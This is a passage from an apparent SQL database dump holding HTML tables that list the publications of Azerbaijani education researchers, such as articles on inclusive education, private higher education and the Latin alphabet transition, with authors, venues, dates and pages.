width=\"78\"><p>fevral 2011, № 2,</p></td><td width=\"59\"><p>səh.62-63</p></td></tr><tr><td width=\"204\"><p>“Valideynlər üçün yaddaş”,</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Anam və mən” jurnalı</p></td><td width=\"78\"><p>Mart 2011,№ 1,&nbsp;</p></td><td width=\"59\"><p>səh.13-14</p></td></tr></tbody></table>  <br></div>'),(1570,983,'az','Elmira Mirzayeva','Elmira Mirzayeva','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"78\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Valideynliyin perinatal mədəniyyəti.<strong>&nbsp;</strong></p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-3<strong>&nbsp;</strong></p></td><td width=\"78\"><p>2008ci il sentyabr</p><p><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Biz və uşaqlarımız.</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-1</p></td><td width=\"78\"><p>2007ci il oktyabr.</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Ümüd və inam olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Azərbaycan Müəllimi qəzeti.</p></td><td width=\"78\"><p>28 aprel 1998ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Arzular çin olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>16-30 aprel 2007 ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>&nbsp;Məktəb psixoloqu və onun iş planı.</p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>17-27- fevral 2007ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Şagirdlərlə düzgün ünsiyyət qurmaq üçün&nbsp; psixoloqların yardımı vacibdir”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Vətəndaş cəmiyyəti” jurnalı</p></td><td width=\"78\"><p>fevral 2011, № 2,</p></td><td width=\"59\"><p>səh.62-63</p></td></tr><tr><td width=\"204\"><p>“Valideynlər üçün yaddaş”,</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Anam və mən” jurnalı</p></td><td width=\"78\"><p>Mart 2011,№ 1,&nbsp;</p></td><td width=\"59\"><p>səh.13-14</p></td></tr></tbody></table>  <br></div>'),(1571,982,'az','Lamiya Sharafkhanova','Lamiya Sharafkhanova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"690\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"156\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"120\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Education of Children with Disabilities in Azerbaijan: Barriers and Opportunities</p></td><td width=\"168\"><p>Article, Journal/Human Rights Education in Asian Schools”,</p></td><td width=\"90\"><p>in co-authorship with<strong>&nbsp;</strong>Almaz Ismayilova, Yulia Karimova, Ulkar Isazade, Ramiz Behbudov</p></td><td width=\"120\"><p>Human Rights Information Center, Osaka, Japan,</p></td><td width=\"90\"><p>March, 2009</p></td><td width=\"66\"><p>Volume /Asia-Pacific</p><p>pp. 107-128</p></td></tr><tr><td width=\"156\"><p>“Məktəbəqədər yaşlı uşaqlar üçün oyun təlim vəsaitləri</p></td><td width=\"168\"><p>Metodik Vəsait</p></td><td width=\"90\"><p>Sveta Nazarova</p><p>Svetlana Mustafayeva</p></td><td width=\"120\"><p>Çaşıoğlu nəşriyyatı</p></td><td width=\"90\"><p>2009</p></td><td width=\"66\"><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>Xüsusi qayğıya ehtiyacı olan uşaqların təhsili<strong>&nbsp;</strong></p></td><td width=\"168\"><p>Məqalə</p></td><td width=\"90\"><p>L. İsmayılova, Y. Kərimova, U. Mikayilova ilə &nbsp;birlikdə)<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"120\"><p>Azərbaycan Respublikasının&nbsp; Təhsil Nazirliyi, “Kurikulum” elmi-metodik jurnal Baku, Azerbaijan</p></td><td width=\"90\"><p>Bakı, Kurrikulm., Azərbaycan, (iyul-sentyabr),&nbsp; 2009<strong>&nbsp;</strong></p></td><td width=\"66\"><p>№ 3 (7), s. 36-44</p></td></tr><tr><td width=\"156\"><p>“Step by Step Program in Azerbaijan: A 10 year journey from teaching practices at the classroom level to influencing national policy”,</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Seeds of Change: Effective Investments in Early Childhood for Enduring Social Progress</p></td><td width=\"90\"><p>Effective Investments in Early Childhood for Enduring Social Progress, ISSA’s 10<sup>th</sup>Annual Conference</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Changing Perception of a Child with Disabilities in general schools in Azerbaijan</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Embracing inclusive approaches for children and youth with special educational needs, Riga,</p></td><td width=\"90\"><p>July 11-14, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İbitidai İnklüziv Təhsil&nbsp;</p></td><td width=\"168\"><p>Peşəkarlar üçün metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p>&nbsp;</p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İnklüziv Təhsil&nbsp; (Məktəbəqədər Təhsil Pilləsi üçün)</p></td><td width=\"168\"><p>metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p><em>&nbsp;</em></p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2011</p></td><td width=\"66\"><p><em>&nbsp;</em></p></td></tr></tbody></table><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>2.&nbsp;&nbsp; Unpublished papers</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"660\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"252\"><p><strong>Title</strong></p></td><td width=\"108\"><p><strong>Type of&nbsp; unpublished paper</strong></p></td><td width=\"132\"><p><strong>All Authors</strong></p></td><td width=\"60\"><p><strong>Number of pages</strong></p></td><td width=\"108\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong></p></td></tr><tr><td width=\"252\"><p>How to make successful accommodation and modification” guidebook for secondary teaches</p></td><td width=\"108\"><p>Book</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova, Sə.</p></td><td width=\"60\"><p>95</p></td><td width=\"108\"><p>&nbsp;</p></td></tr><tr><td width=\"252\"><p>Reading Skills of Azerbaijani Students: Possible Reasons for Underperforming in PISA 2006</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>U. Mikayılova</p></td><td width=\"60\"><p>50</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Opportunities and Barriers in Educating Children with Disabilities in Azerbaijan.&nbsp;&nbsp;</p><p>Evaluation of teaching practices in special and boarding schools, general education schools.</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p><p>UNCIEF</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova,etc</p></td><td width=\"60\"><p>30.</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Inclusive Education and Teacher Training Reform in Azerbaijan: Overview of Education of Children with Disabilities in Azerbaijan</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>Lani Florian and Ulviyya Mikayilova</p></td><td width=\"60\"><p>15 s.</p></td><td width=\"108\"><p>+</p></td></tr></tbody></table>  <br></div>'),(1572,982,'en','Lamiya Sharafkhanova','Lamiya Sharafkhanova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"690\"><tbody><tr><td width=\"156\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"120\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"90\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Education of Children with Disabilities in Azerbaijan: Barriers and Opportunities</p></td><td width=\"168\"><p>Article, Journal/Human Rights Education in Asian Schools”,</p></td><td width=\"90\"><p>in co-authorship with<strong>&nbsp;</strong>Almaz Ismayilova, Yulia Karimova, Ulkar Isazade, Ramiz Behbudov</p></td><td width=\"120\"><p>Human Rights Information Center, Osaka, Japan,</p></td><td width=\"90\"><p>March, 2009</p></td><td width=\"66\"><p>Volume /Asia-Pacific</p><p>pp. 107-128</p></td></tr><tr><td width=\"156\"><p>“Məktəbəqədər yaşlı uşaqlar üçün oyun təlim vəsaitləri</p></td><td width=\"168\"><p>Metodik Vəsait</p></td><td width=\"90\"><p>Sveta Nazarova</p><p>Svetlana Mustafayeva</p></td><td width=\"120\"><p>Çaşıoğlu nəşriyyatı</p></td><td width=\"90\"><p>2009</p></td><td width=\"66\"><p>&nbsp;</p></td></tr><tr><td width=\"156\"><p>Xüsusi qayğıya ehtiyacı olan uşaqların təhsili<strong>&nbsp;</strong></p></td><td width=\"168\"><p>Məqalə</p></td><td width=\"90\"><p>L. İsmayılova, Y. Kərimova, U. Mikayilova ilə &nbsp;birlikdə)<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"120\"><p>Azərbaycan Respublikasının&nbsp; Təhsil Nazirliyi, “Kurikulum” elmi-metodik jurnal Baku, Azerbaijan</p></td><td width=\"90\"><p>Bakı, Kurrikulm., Azərbaycan, (iyul-sentyabr),&nbsp; 2009<strong>&nbsp;</strong></p></td><td width=\"66\"><p>№ 3 (7), s. 36-44</p></td></tr><tr><td width=\"156\"><p>“Step by Step Program in Azerbaijan: A 10 year journey from teaching practices at the classroom level to influencing national policy”,</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Seeds of Change: Effective Investments in Early Childhood for Enduring Social Progress</p></td><td width=\"90\"><p>Effective Investments in Early Childhood for Enduring Social Progress, ISSA’s 10<sup>th</sup>Annual Conference</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>Changing Perception of a Child with Disabilities in general schools in Azerbaijan</p></td><td width=\"168\"><p>Article. Theses</p></td><td width=\"90\"><p>Co-authors.</p><p>Y.karimova and Uş Mikailova</p></td><td width=\"120\"><p>Embracing inclusive approaches for children and youth with special educational needs, Riga,</p></td><td width=\"90\"><p>July 11-14, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İbitidai İnklüziv Təhsil&nbsp;</p></td><td width=\"168\"><p>Peşəkarlar üçün metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p>&nbsp;</p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2010</p></td><td width=\"66\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"156\"><p>İnklüziv Təhsil&nbsp; (Məktəbəqədər Təhsil Pilləsi üçün)</p></td><td width=\"168\"><p>metodik vəsait</p></td><td width=\"90\"><p>U. Mikayılova, Y. Kərimova, Sə. Mımmıdova vı s</p><p><em>&nbsp;</em></p></td><td width=\"120\"><p>İndigo Nəşriyyatı</p></td><td width=\"90\"><p>Bakı, 2011</p></td><td width=\"66\"><p><em>&nbsp;</em></p></td></tr></tbody></table><p>&nbsp;</p><p><strong>2.&nbsp;&nbsp; Unpublished papers</strong></p><p>&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"660\"><tbody><tr><td width=\"252\"><p><strong>Title</strong></p></td><td width=\"108\"><p><strong>Type of&nbsp; unpublished paper</strong></p></td><td width=\"132\"><p><strong>All Authors</strong></p></td><td width=\"60\"><p><strong>Number of pages</strong></p></td><td width=\"108\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong></p></td></tr><tr><td width=\"252\"><p>How to make successful accommodation and modification” guidebook for secondary teaches</p></td><td width=\"108\"><p>Book</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova, Sə.</p></td><td width=\"60\"><p>95</p></td><td width=\"108\"><p>&nbsp;</p></td></tr><tr><td width=\"252\"><p>Reading Skills of Azerbaijani Students: Possible Reasons for Underperforming in PISA 2006</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>U. Mikayılova</p></td><td width=\"60\"><p>50</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Opportunities and Barriers in Educating Children with Disabilities in Azerbaijan.&nbsp;&nbsp;</p><p>Evaluation of teaching practices in special and boarding schools, general education schools.</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p><p>UNCIEF</p></td><td width=\"132\"><p>U. Mikayılova, Y. Kərimova,etc</p></td><td width=\"60\"><p>30.</p></td><td width=\"108\"><p>+</p></td></tr><tr><td width=\"252\"><p>Inclusive Education and Teacher Training Reform in Azerbaijan: Overview of Education of Children with Disabilities in Azerbaijan</p><p>&nbsp;</p></td><td width=\"108\"><p>Article</p></td><td width=\"132\"><p>Lani Florian and Ulviyya Mikayilova</p></td><td width=\"60\"><p>15 s.</p></td><td width=\"108\"><p>+</p></td></tr></tbody></table>  <br></div>'),(1573,981,'az','Isaxan Isaxanli','Isaxan Isaxanli','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"186\"><p><strong>Title of publication</strong></p></td><td width=\"114\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong></p></td><td width=\"217\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong></p></td><td width=\"53\"><p><strong>Year Published</strong></p></td><td width=\"43\"><p><strong>Vol. &amp; Pages</strong></p></td></tr><tr><td width=\"186\"><p>Dövlətlə özəl təhsìl ara­sında münasìbətdə DAEK-ìn (Dövlət Alì Ekspert komìssìyası) rolu</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tətqiqatçların respublika elmi konfrans. II cild, Azərbaycan Respublikası Təhsil Nazirliyi</p><p><strong>&nbsp;</strong></p></td><td width=\"53\"><p>11-12 fevral, 1998-ci il</p></td><td width=\"43\"><p>Səh 59-61</p></td></tr><tr><td width=\"186\"><p>Təhsilin seçmə prinsipləri</p></td><td width=\"114\"><p>Konfrans materìallarí</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Qafqaz: tarix, müasirlik və geosiyasi perspektivlər” konfransı, Bakı Dövlət Universiteti</p></td><td width=\"53\"><p>15 aprel 1998</p></td><td width=\"43\"><p>Səh.230-232</p></td></tr><tr><td width=\"186\"><p>Azərbaycan ali təhsilində süzgəc prosesi</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı&nbsp; İnstitutu. Bakı</p></td><td width=\"53\"><p>1998</p></td><td width=\"43\"><p>4-cü buraxılış,Səh.70-77.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl təhsilin yarnma zəruriliyi haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Aspirantların və gənc tədqiqatçıların respublika elmi konfransı, II cild</p><p>Azərbaycan Respublikası Təhsil Nazirliyi.</p></td><td width=\"53\"><p>23-24 fevral 1999-cu il</p></td><td width=\"43\"><p>Səh.101-102</p></td></tr><tr><td width=\"186\"><p>1918-1920-ci illərdə Azərbaycanda təhsilinin inkişafına dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Təhsil Nazirliyi və Azərbaycan EA-nın birgə keçirdiyi Gənc Alim­lərin Azərbaycan Xalq Cümhuriyyətinin 80 illik yubileyinə həsr edilmiş ümumrespublika elmi konfransí</p><p>Bakı– Elm</p></td><td width=\"53\"><p>1999</p></td><td width=\"43\"><p>Səh.73-74</p></td></tr><tr><td width=\"186\"><p>Factors Related the Selec­tion process at the state and private Univer­sities.</p><p>T&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Positive and negative of &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sides&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; centralization</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani Studies, Volume 2, number 2. Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>191999</p><p>&nbsp;</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Bəlkə də Los-Ancelesin ən gözəl yeri elə UCLA-dir.</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-xəbər, № 64, -cu il. Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>3 aprel 1999</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə kadr hazírlığının bəzi xüsusìyyətlərì</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Humanitar elmlərin öyrənilməsinin aktual problem­ləri, ali məktəblərarası elmi, səh.37-39.. Azərbaycan Respub­likası Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və Ədəbiyyatı İnstitutu. Bakı-mütərcim.</p><p>&nbsp;</p></td><td width=\"53\"><p>1-2 mart 2000-ci il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsìlìn bə`zi xüsusìyyətləri</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematìk məcmuə, II buraxılış.</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel,&nbsp; 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.173-182</p></td></tr><tr><td width=\"186\"><p>Özəl alì məktəblərdə məzunluq dìplomlarının verìlməsinə dair</p><p>&nbsp;</p></td><td width=\"114\"><p>Ali məktəblərarası tematik məcmuə, II buraxı­lış</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası&nbsp; Təhsil Nazirliyi və M.F.Axundov adına Rus Dili və&nbsp; Ədəbiyyatı İnstitutu. Bakı-mütərcim</p></td><td width=\"53\"><p>25 aprel, 2000-ci&nbsp; il</p></td><td width=\"43\"><p>Səh.182-184</p></td></tr><tr><td width=\"186\"><p>Basis and continuation of Private education in Azerbaijan</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>6<sup>th</sup>&nbsp;Nordic Baltic Conference in Regional Science “Nordic-Baltic Sea Region on the eve of the 21<sup>st</sup>&nbsp;Century”; Riga, Latvia.</p><p>&nbsp;</p></td><td width=\"53\"><p>October&nbsp; 4-7, 2000</p></td><td width=\"43\"><p>page 55-58</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali təhsilin yaranması və inkişaf yolları &nbsp;haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>AMEA Fəlsəfə və siyasi-hüquq tədqiqatlar institutu, “Politologiya” şöbəsi sosial-siyasi problemlər ( elmi məqalələr toplusu), 9-cu buraxılış</p></td><td width=\"53\"><p>Bakı- 2003</p></td><td width=\"43\"><p>Səh.32-36</p></td></tr><tr><td width=\"186\"><p>Fərhad Ağazadə və latın əlifbasına keçid</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan,</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 14-72</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulu haqqında</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №3(15)</p></td><td width=\"53\"><p>Bakı-2003</p></td><td width=\"43\"><p>Səh.37-40.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda tələbələrə və özəl ali məktəblərə dövlət yardım proqramları haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; tezisləri</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Respublikası Gənclər, İdman və Turizm Nazirliyi, Bakı</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.58-60</p></td></tr><tr><td width=\"186\"><p>Tələbələrə və özəl ali məktəblərə dövlət yardım proqramlarına dünya təcrübəsi müstəvisindən baxış</p><p>&nbsp;</p></td><td width=\"114\"><p>Konfrans&nbsp; materialları</p><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>« Qloballaşma və Azərbaycanda təhsilin aktual problemləri». Beynəlxalq elmi-praktik konfrans. &nbsp;Azərbaycan Beynəlxalq Universiteti.</p><p>«Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi, 2003</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>Səh.124-126</p></td></tr><tr><td width=\"186\"><p>K.D. Uşinski təlim-tərbiyə prosesində&nbsp; əyanilik,</p><p>sistemlilik və əməyin rolu haqqında</p><p>&nbsp;</p></td><td width=\"114\"><p>K. D. Uşinskinin anadan olmasının 180 illiyinə həsr edilmiş elmi konfrans materialı</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Azərbaycan Beynəlxalq Universiteti. «Beynəlxalq Universitet» nəşriyyat və poliqrafiya mərkəzi</p></td><td width=\"53\"><p>24 dekabr 2004-cü il</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>«Tələbələrin biliyinin qiymətləndirilməsinin çoxballı sistemi haqqında əsasnamə»yə dair bəzi mülahizələr</p><p>&nbsp;</p></td><td width=\"114\"><p>Məqalə</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>“Təhsil” cəmiyyəti, “Bilgi” dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik jurnal, №4 (20). Bakı</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.3-6</p></td></tr><tr><td width=\"186\"><p>Akademik&nbsp; Hüseyn &nbsp;Əhmədov haqqında.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Bakı, Təhsil</p></td><td width=\"53\"><p>2004</p></td><td width=\"43\"><p>Səh.197</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda özəl ali məktəblərə tələbə qəbulunun bəzi aspektləri</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Journal of Azerbaijani studies. Volume 6, numbers 3-4; Khazar University, Baku, Azerbaijan</p></td><td width=\"53\"><p>2003</p></td><td width=\"43\"><p>p. 3-61</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>«Təhsil» cəmiyyəti, «Bilgi» dərgisi, Təhsil-Mədəniyyət-İncəsənət, Elmi-nəzəri və metodik curnal, № 3-4, Bakı</p></td><td width=\"53\"><p>2005</p></td><td width=\"43\"><p>Səh.38-49.</p></td></tr><tr><td width=\"186\"><p>Azərbaycanda latın əlifbasına keçid. Tarixə qısa baxış və Fərhad Ağazadə</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) №№ 197, 198, 199,&nbsp; Xəzər Universitəsi</p></td><td width=\"53\"><p>noyabr, dekabr 2005</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Azərbaycan Yeni Türk Əlifba Komitəsi və savadsızlığın ləğv edilməsi kampaniyası</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər Xəbər, (curnal) № 218 , Xəzər Universitəsi</p></td><td width=\"53\"><p>15 noyabr 2006</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>Yeni tədris iliniz mübarək.</p><p>&nbsp;</p></td><td width=\"114\"><p>&nbsp;</p></td><td width=\"89\"><p>Isaxan Isaxanlı</p></td><td width=\"217\"><p>Xəzər-Xəbər, (curnal)&nbsp; № 253, Xəzər Universitəsi</p><p>&nbsp;</p></td><td width=\"53\"><p>15 sentyabr 2008</p></td><td width=\"43\"><p>&nbsp;</p></td></tr><tr><td width=\"186\"><p>25 məzunluq təntənəsi: Fərəhli nəticələr.</p><p>&nbsp;</p></td><td width=\"114\"><p>Lamiyə 